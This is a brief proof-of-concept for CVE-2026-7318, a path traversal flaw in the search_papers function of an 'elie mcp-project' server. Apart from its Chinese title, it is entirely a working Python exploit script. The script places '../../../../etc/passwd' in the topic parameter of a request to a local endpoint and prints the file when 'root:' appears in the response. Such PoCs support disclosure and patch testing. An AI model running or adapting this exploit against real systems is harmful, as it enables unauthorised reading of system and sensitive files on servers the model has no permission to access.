CVE-2026-7318 elie mcp-project 路径遍历漏洞

# PoC for CVE-2026-7318 # This script demonstrates the path traversal vulnerability in search_papers function. import requests target_url = "http://127.0.0.1:8000/search_papers" # Example local endpoint # Malicious payload trying to access sensitive files (e.g., /etc/passwd) # Adjust the number of "../" based on the actual deployment depth payload = "../../../../etc/passwd" params = { "topic": payload } try: print(f"[+] Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=5) if response.status_code == 200 and "root:" in response.text: print("[!] Vulnerability exploited successfully!") print("[+] Response content:") print(response.text) else: print(f"[-] Exploit failed or target not vulnerable. Status: {response.status_code}") print(response.text[:200]) except Exception as e: print(f"[!] Error: {e}")